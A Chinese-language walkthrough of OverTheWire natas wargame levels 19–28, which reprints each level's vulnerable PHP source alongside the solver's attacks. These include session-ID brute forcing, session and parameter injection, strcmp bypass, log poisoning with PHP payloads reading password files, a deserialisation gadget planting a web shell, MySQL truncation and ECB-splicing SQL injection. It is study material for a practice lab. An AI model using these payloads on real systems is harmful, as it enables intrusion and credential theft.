natas通关记录
变量3:
natas通关记录
natas通关记录
<2>进行爆破,得出key:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
natas通关记录
方法二:python脚本

# coding=utf-8
import requests
import binascii

url = "http://natas19.natas.labs.overthewire.org/"
payload = {"username": "admin", "password": "123"}

for i in range(640):
    s1 = str(binascii.hexlify(bytes(i)), encoding="utf-8")
    headers = {"Cookie": "PHPSESSID=" + s1 + "2d61646d696e",
               "Authorization": "Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=="}
    req = requests.post(url, params=payload, headers=headers)
    if "You are logged in as a regular user" in req.text:
        # print(i) #打印i,查看进度
        continue
    else:
        print(i)
        print(req.text)
        exit()

Level 20-21(session登录,注入参数)

Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
URL:http://natas20.natas.labs.overthewire.org/
查看源码:

<?

function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}
/* }}} */

/* we don't need this */
function myopen($path, $name) { 
    //debug("MYOPEN $path $name"); 
    return true; 
}

/* we don't need this */
function myclose() { 
    //debug("MYCLOSE"); 
    return true; 
}

function myread($sid) { 
    debug("MYREAD $sid"); 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data"); 
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid"); 
    return true; 
}
/* we don't need this */
function mygarbage($t) { 
    //debug("MYGARBAGE $t"); 
    return true; 
}

session_set_save_handler(
    "myopen", 
    "myclose", 
    "myread", 
    "mywrite", 
    "mydestroy", 
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}

?>

我们来看看每个函数的作用:

debug($msg)函数表示打开了调试信息,可以通过在URL的末尾添加 /index.php?debug来查看调试消息 $msg。

访问之后将看到一些提示信息:
natas通关记录

function myread($sid) { 
    debug("MYREAD $sid"); 
    //strspn(string,charlist):返回在字符串string中包含charlist中字符的数目
    //判断sid是否是由数字/字母/-组成,如果不是,则无效
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return "";
    }
    //session_save_path() - 返回当前会话的保存路径。
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    } 
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    //使用换行符分割data数据
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    //使用空格符分割line数据,返回的数组包含2个元素,最后那个元素包含line的剩余部分
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    //session_encode — 将当前会话数据编码为一个字符串
    return session_encode();
}

function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data"); 
    // make sure the sid is alnum only!!
    //判断sid是否是由数字/字母/-组成,如果不是,则无效
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    //ksort — 对数组按照键名排序
    ksort($_SESSION);
    //foreach 遍历给定的数组。每次循环中,当前单元的键名被赋给$key、当前单元的值被赋给$value,并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        //给data赋值
        $data .= "$key $value\n";
    }
    //将data存在文件中
    file_put_contents($filename, $data);
    //改变文件模式:Read and write for owner, nothing for everybody else
    chmod($filename, 0600);
}

简单来说,myread首先对sid(第一次由服务器自动生成并保存在cookie中)进行校验,若非字母/数字则不返回会话状态。

若sid合法,则进入相关目录寻找/读取文件,若是老的会话/文件已经删除会新建文件保存会话,文件读取完后将session的最后一对键值覆盖到第一的位置。

mywrite则会在会话结束的时候重新读取session,并对session进行一次ksort,将排序后的键值对重新写入文件。

print_credentials()函数的主要功能,是判断$_SESSION[“admin”] == 1后显示密码。

由于源码里面没有向SESSION里面添加admin的键值对,默认情况下,_SESSION中唯一的key是name,其值通过/index.php中的表单提交进行设置。

我们可以通过对name键值对进行注入:将data里面的值变为:name xxx\nadmin 1\n。所以应该输入xxx\nadmin 1,将其进行URL编码后进行提交。

换行符对应的URL编码为%0A,所以最终应该输入xxx%0Aadmin 1提交。

当然不能在网页中直接输入xxx%0Aadmin 1提交,因为会被编码成xxx%250Aadmin+1,失去了我们的本意。

正确的做法是,使用burp抓包,修改name参数值为xxx%0Aadmin 1,第一次会显示regular,因为没有文件/状态可以读取,session里还是没有Admin的,会话关闭后xxx\nadmin 1就会被写入到状态中,下次登录后session就会加入admin 1了。
natas通关记录
natas通关记录
得到key:IFekPyrQXftziDEsUr3x21sYuahypdgJ

Level 21-22(共用session,session注入)

Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
URL:http://natas21.natas.labs.overthewire.org/
第一个网页:
natas通关记录
第二个网页:
natas通关记录
提示http://natas21.natas.labs.overthewire.org/页面和http://natas21-experimenter.natas.labs.overthewire.org页面同位,也就是共用服务器,session也是共用的。
查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码。

<?

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }
}
/* }}} */

session_start();
print_credentials();

?>

查看第二个网页源码,虽然在改变本页的时候进行了合法性检测,但是在将提交的参数加载到session中时,并没有对提交的参数进行审核。所以我们可以在参数中注入admin=1以将其保存在session中。

<?  

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

if(array_key_exists("debug", $_GET)) {
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
    $val = $_SESSION[$key];
    } else {
    $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";

?>

直接在第二个页面提交数据,burp抓包截取,在post参数最后加上&admin=1。在返回的响应中我们可以看到,已经成功将admin=1注入到session中。
natas通关记录
然后使用第二个网页的phpsessionid替换第一个网页的phpsessionid
natas通关记录

成功得到flag:
chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
natas通关记录

Level 22-23(header重定向,fiddler截获抓包)

Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
URL:http://natas22.natas.labs.overthewire.org/

打开页面是一个空白页面,查看源码,看起来好像是需要我们在url中添加“revelio”参数即可,然而实验了之后发现浏览器跳转回了原来的页面。

再次仔细审计源码,会看到页面开头有一个重定向。关键代码:

<?
session_start();

if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
    header("Location: /");
    }
}
?>

header(“Location: /”)中,header函数表示发送一个原始 Http Header到客户端,指定Location是进行重定向,/表示本地,即刷新。
如果get参数中包含revelio,则输出flag。

总结思路,先在get参数中添加revelio,满足获取密码的条件,但要避免刷新,使用fiddler打断点修改请求,这样可以避免第二次的跳转,在返回中看到了flag。
flag:D0vlad33nQF0Hz2EP255TP5wSW9ZsRSEnatas通关记录

Level 23-24(PHP弱类型)

Username: natas23
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
URL:http://natas23.natas.labs.overthewire.org/
查看源码:

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

strstr()函数:检查后者是否为前者的子串。
上述代码要求提交的passwd参数中,既要包含字符iloveyou,且要其数值大于10。考察的就是php字符与数值比较时,会从开头截取数字,到字符前为止。所以构造passwd为11iloveyou即可。
natas通关记录
得到flag:OsRmXFguozKpTZZ5X14zNO43379LZveg

Level 24-25(strcmp绕过漏洞)

Username: natas24
Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
URL:http://natas24.natas.labs.overthewire.org/
查看源码:

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

存在strcmp()函数,strcmp()函数的作用是比较两个字符串,相同则为0。由此自然想到了strcmp漏洞,strcmp函数无法比较数组,会返回0,将passwd输入为数组即可绕过。
natas通关记录
Payload: [url]http://natas24.natas.labs.overthewire.org/?passwd[]=1
flag:GHF6X7YwACaYYssHVY05cFq83hRktl4c

扩展——strcmp漏洞

PHP strcmp(str1,str2) 函数:比较两个字符串(区分大小写)。
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等返回 0。

可知,期望传入的数据类型是字符串类型,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当接受到了不符合的类型,这个函数将发生错误。在php 5.2版本以及之前的版本中,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0!也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做判断的代码来说简直是一个致命的漏洞。

Level 24-25(目录遍历,头部注入)

Username: natas25
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
URL:http://natas25.natas.labs.overthewire.org/
查看源码:

function setLanguage(){          //选择语言
    /* language setup */
    if(array_key_exists("lang",$_REQUEST))  //如果请求提交的参数中存在lang
        if(safeinclude("language/" . $_REQUEST["lang"] )) //检查输入
            return 1;
    safeinclude("language/en");
}
 
function safeinclude($filename){  //检查输入参数
    // check for directory traversal    检查目录遍历
    //strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
    //str_replace($search,$replace,$subject):将$subject中的$search 都被$replace替换
    //下面代码的意思是,如果filename中含有"../",表明受到了目录遍历攻击,则将filename中的"../"替换为"",以防止目录遍历
    if(strstr($filename,"../")){ 
        logRequest("Directory traversal attempt! fixing request.");
        $filename=str_replace("../","",$filename);
    }
     
    // dont let ppl steal our passwords   文件访问控制
    //下面代码的意思是,如果filename中含有"natas_webpass",表明用户试图访问非法文件,则退出程序
    if(strstr($filename,"natas_webpass")){
        logRequest("Illegal file access detected! Aborting!");
        exit(-1);
    }
    // add more checks...
 
    if (file_exists($filename)) {  //检测目录是否存在
        include($filename);
        return 1;
    }
    return 0;
}
   
function logRequest($message){                      //请求日志
    $log="[". date("d.m.Y H::i:s",time()) ."]";     //时间日期
    $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];  //加http_user_agent
    $log=$log . " \"" . $message ."\"\n";           //加上message
    $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
    fwrite($fd,$log);                               //将日志信息写入文件
    fclose($fd);
}

首先要将注入点分析清楚:一共有三个注入点

1、$_REQUEST["lang"]              即get/post注入
2、$_SERVER['HTTP_USER_AGENT']    http头部信息注入
3、session_id()                   cookie注入

2、3条注入存在于logRequest函数中,能够发生的前提是safeinclude函数检测到了非法输入,而且必须是“…/”这种非法输入,若是“natas_webpass”这种的话会直接exit(-1)。

这里第一条过滤非法输入语句(将"…/“替换为”",以防止目录遍历)存在漏洞,因为if是一次性把所有符合的替换掉,构造复合的参数即可绕过,例如:…//或者…/./。这里可以绕过的根本原因就在于没有使用while语句,没有想到过滤一次后依然存在…/,所以过滤应该持续检测直到非法字符不再出现。

第1条直接注入比较困难,原因在于即使用…/./绕过了第一条检测,第二条检测也很难直接将"natas_webpass"目录下的密码给include进来,所以应该思考利用第2或3条注入,2或3两个注入必须触发“…/”检测,随后logRequest($message)将信息写入/var/www/natas/natas25/logs/natas25_session_id().log。

很容易得到新思路,将能够显示密码的php语句写入到session_id().log之中,随后在safeinclude中将其include进来,可以考虑$_SERVER[‘HTTP_USER_AGENT’] 注入,在header中写入php语句(以下任选一句):

<?php include("/etc/natas_webpass/natas26")?> <?php echo file_get_contents("/etc/natas_webpass/natas26")?> <?php passthru("cat /etc/natas_webpass/natas26")?> <?php readfile("/etc/natas_webpass/natas26")?>

这样做以后,只要触发第一条过滤机制,密码就会在.log被include进来时显示,考虑如何既触发…/又能够将.log包含进来:GET: lang=…/./…/./…/./…/./…/./var/www/natas/natas25/logs/natas25_session_id().log即可

流程:GET输入触发第一次过滤,开始记录日志,headers中http-agent的php执行语句被记录到/var/www/natas/natas25/logs/natas25_session_id().log。同时输入被过滤为…/…/…/…/…/var/www/natas/natas25/logs/natas25_session_id().log。file_exists()检测正确,将其include进来,触发php语句,显示flag。

有两个地方需要注入,即get/post 和 headers。
先访问日志文件
…/?lang=…//…//…//…//…//…//var/www/natas/natas25/logs/natas25_g883iae0lq4q9piv7a2e8c5ie0.log
再使用fiddler抓包,修改HTTP_USER_AGRENT为:<?php include("/etc/natas_webpass/natas26")?>,在返回的日志文件中得到key。
Key:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
natas通关记录

Level 25-26(PHP反序化漏洞)

Username: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
URL:http://natas26.natas.labs.overthewire.org/
查看源码:

<?php

    class Logger{
        private $logFile;                        //三个私有参数
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){            //类创建时调用
            // initialise variables                //初始化变量
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message            //写入初始信息
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){                        //写入信息
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){                    //类销毁时调用
            // write exit message                //写入退出信息
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
 
    function showImage($filename){                //显示图片
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){                //画图
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }
    
    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        
            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){
                    
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);
            
                    }
        }    
    }
    
    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));    //反序列化
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));        //序列化
    }
?>

查看源码,发现了php反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。

php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。

php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。

php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。
观察代码可以发现,在类销毁时调用的__destruct()魔术方法,可以向任意文件写入信息。

if (array_key_exists("drawing", $_COOKIE)){
    $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}

而且,可以通过cookie来写入序列化注入信息。

总结思路,通过cookie来注入信息,利用反序列化漏洞在能够访问的文件夹(img)下建立一个shell(aaa.php),写入php语句,然后访问该脚本,就能够进行任意语句执行/回显!

<?php
class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
        function __construct(){   #注入信息
            $this->initMsg="";
            $this->exitMsg="<php include '/etc/natas_webpass/natas27';?>";
            $this->logFile="img/aaa.php";
        }
}
  
$test = new Logger();
echo serialize($test);
echo "\n";
echo base64_encode(serialize($test));    #显示base64编码后的序列化字符串
?>

本地执行,得到base64编码后的序列化字符串:
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9waHAgaW5jbHVkZSgnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTs/PiI7fQ==
fiddler抓包,把字符串覆盖到cookie[drawing]中,重新发送请求。
natas通关记录
访问…/img/aaa.php即可得到key。
key:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
natas通关记录

Level 27-28(mysql溢出截断漏洞)

Username: natas27
Password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
URL:http://natas27.natas.labs.overthewire.org/
查看源码

<?

// morla / 10111
// database gets cleared every 5 min 


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){
 
    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);
    
    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysql_query($query, $link);
    if(mysql_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){
    
    $user=mysql_real_escape_string($usr);
    
    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){
    
    $user=mysql_real_escape_string($usr);
    
    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!  
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);
    
    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysql_query($query, $link);
    if(mysql_affected_rows() > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas27', '<censored>');
    mysql_select_db('natas27', $link);
   

    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }        
    } 
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysql_close($link);
} else {
?>

查看源码,本来想通过sql注入来获取密码,但是很难实现:
一是源码通过mysql-real-escape-string()函数对输入的用户名和密码中的特殊字符进行了转义,以防止sql注入;
二是想要绕过的话也很困难:$password使用’'括起来了,无法用like wildchar和number绕过。
(参见https://www.sqlinjection.net/advanced/php/mysql-real-escape-string/)

继续分析,总结流程如下:
Receive Input -> Check if user exist -> if exist check credentials -> show data.
Receive Input -> check if user exist -> if dosen’t -> create user.
即后台获取到用户输入的用户名/密码后,首先查询此用户名是否存在,如果存在,验证密码并显示数据;如果不存在,创建用户。

同时,验证用户名/密码是否正确也仅仅是看返回数组是否>0。

很容易联想到,如果我们插入一个和目标账户相同的行,即使我们不知道密码,checkCredentials()函数查找的结果数组也会>0并返回true,接着dumpData()函数就可能回显真正的用户与密码了。(注意这里只会回显一行,虽然dumpData()里面是个while循环,但里层直接return print_r($row,true)了)

插入数据需实现两点:
一是validUser()函数查找不到用户;
二是存储后的username要和目标username相同,密码自己定。

那么如何实现插入的用户名既和目标username相同,又使validUser()函数查找不到呢?

这里还要参考两个mysql里面的知识点 :

一是字符串存储时若发生“溢出”,mysql会自动truncate到最大宽度;
二是空格在varchar里面会被自动删除。

所以,正确的插入为“natas28+超过64字节的连续空格+xxx”(注意,后面的xxx是必须的,因为在mysql中’natas28’=‘natas28+空格’),密码随意,可以为空。

比较username时mysql并不会对提交的username进行truncate,所以判断用户名不存在,开始新建用户名和密码。一旦开始存储,就会发生溢出/截取,导致出现两个username同为‘natas28’的行。接着返回登录界面,输入natas28+密码。找寻操作会返回刚刚插入的数组(>0),所以查询成功,回显用户名和密码,这时回显的就是第一个nata28那行,即我们要获得的flag。
首先输入
用户名:natas28 xxx
密码:aaa
返回如下:

natas通关记录
接着返回登录页面,重新输入
用户名:natas28
密码:aaa
返回如下:
natas通关记录
flag:JWwR438wkgTsNKBbcJoowyysdM82YjeF

Level 28-29(ECB分组密码攻击)

Username: natas28
Password: JWwR438wkgTsNKBbcJoowyysdM82YjeF
URL:http://natas28.natas.labs.overthewire.org/
初步探索

burp抓包发现,流程是post表单提交一个明文后返回一个重定向,然后get请求一个加密参数返回查询结果。这个加密的参数一定以某种方式包含了我们的输入。
natas通关记录

natas通关记录
我们尝试修改get请求中query的值,返回报错信息:Invalid PKCS#7 padding encountered。说明此处的加密使用了PKCS7Padding填充模式。
natas通关记录

将加密后的数据先URL解码再Base64解码,可以得到原始的加密字节。

方法一,使用burp的Decoder模块进行解码
natas通关记录

方法二,使用PHP代码进行解码(缺点是得到的字节未经格式化,不易观察规律)

<?php
 
$x="G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKOvt9wFI9mjTVoT%2FtGtl7FvfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D";
 
$y=bin2hex(base64_decode(urldecode($x)));
 
echo $y;
 
?>
 
//执行PHP代码,得到字符串:
//1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf28ebedf70148f668d35684ffb46b65ec5bdfa1054ec68515cf96f2a5544591947904f4b2abf2c2d7686aa72a53151c970

ECB模式

尝试几种不同的输入,可以注意到以下2点。

一是随着输入文本的不同,加密文本的前32个字节始终相同,不会改变。这意味着get的参数值始终以相同的文本开头。
二是更改输入的第一个字符(输入的长度不变)不会更改加密文本的结尾。这表明用于加密此文本的加密模式未使用链块密码,因此这意味着每个块都是独立的(ECB)。
natas通关记录

更多观察

ECB模式是分组(块)加密模式,待加密文本被分为大小合适的块,然后分别对每一块独立进行加密或解密处理。当最后一块不足分块大小时,会根据某种模式进行填充。比如说本题使用的就是PKCS7Padding填充模式。目前我们知道了本题的加密方式是ECB,若想要破解它,接下来我们需要知道块大小(BlockSize)。可以通过依次多添加1个字符来观察到这一点。我们可以看到,当输入为10个及以上字符时,第三块16个字节便会停止更改,它将被锁定。因此,我们得出块大小为16个字节,需要10个字符来填充第三块。(这里的一个字符指的是一个英文字母,占1个字节)
natas通关记录

暴力破解附加文本

再次观察密文发现,即使我们准确地传递了10个字符来填充第三块,此后仍然还有更多的块。这说明在我们输入的文本后面,还有一部分附加文本。下面我们来尝试破解后面的这些块,以解密附加文本。

如果我们提交的输入只有9个字符,则第三个块中的最后一个字符将包含附加文本的第一个字符!

假设我们提交了9个字母“a”,得到加密文本第三个块的值为X。然后,我们再尝试提交以9个字母“a”开头和随机最后1个字符的输入,得到第三个块的值,将其与X进行对比,则可以猜测出此字符。字符是%。
natas通关记录
通常,我们能够扩展此过程并解密整个附加文本。但不幸的是,由于输入的某些特殊字符会被转义(比如’变成’),因此无法猜测附加文本中是否包含将被转义的字符。因此我们只能从此过程中解密该%字符。

深入探索

这个%字符表明后台可能对我们的输入文本进行了基于LIKE的模糊查询(%通配符表示任何字符出现任意次数)。猜测格式类似于:

select text from jokes where text like ‘%user_input%’;

我们的思路是构造sql注入,因为服务器端对post表单提交的数据进行了过滤,所有的引号在加密前都将被转义,因此我们不能简单地在输入框中通过输入引号来闭合前面sql的方法进行sql注入。

所以只能考虑get请求,由于get请求所提交的数据是post返回的完整的sql语句,意味着存在修改其他部分的可能。我们希望将它修改为

select text from jokes where text like ‘%user_input%’ union select password from users #

由于所有输入的引号都会被转义(‘变为’),所以我们无法直接得到引号的ECB加密,但是我们可以通过构造获得。

构造输入

首先输入【aaaaaaaaa’ union select password from users #############】,得到加密字节如下:
natas通关记录

由于服务器端会先将输入的’转义为’,然后再进行ECB加密,所以上面加密字节中间部分加密的其实是【aaaaaaaaa’ union select password from users #############】,由于【aaaaaaaaa\】是10个字节,正好补齐了第3块,而【’ union select password from users #############】正好是48个字符,所以加密字节中的第4,5,6块正好是其加密后的值(设为A)。

接着输入【aaaaaaaaaa】(10个字节正好补齐第三块)得到加密字节(设为B)如下:
natas通关记录
可以看到,上面两段加密字节的最后2块正好相同(均是附加文本的加密内容),这也表明我们构造的内容【’ union select password from users #############】确实是整组。

B的前三块的内容正好是【select text from jokes where text like ‘%aaaaaaaaaa】的加密文本,而刚才我们又得到了【’ union select password from users #############】的加密文本A。然后,我们把A插入到B的第三块和第四块之间,得到加密的字节(设为C)如下:
natas通关记录

我们知道,C就是以【select text from jokes where text like ‘%aaaaaaaaaa’ union select password from users #############】开头的加密文本(后面附加文本代表什么无所谓,因为已经被注释掉了)。

现在让我们将其先进行base64编码,然后再URL编码,得到字符串:

<?php
 
$y="1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39ef89dd8dbec15c6a6d9993a3dc7b7a30886951754f7ad56454eb5d5b6768ee64650a4272280fe5b170eb9fc1bdbdde93d738a5ffb4a4500246775175ae596bbd6f34df339c69edce11f6650bbced62702";
 
$x=urlencode(base64_encode(hex2bin($y)));
 
echo $x;
 
?>

 
//执行PHP代码,得到字符串:
//G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oe%2BJ3Y2%2BwVxqbZmTo9x7ejCIaVF1T3rVZFTrXVtnaO5kZQpCcigP5bFw65%2FBvb3ek9c4pf%2B0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI%3D

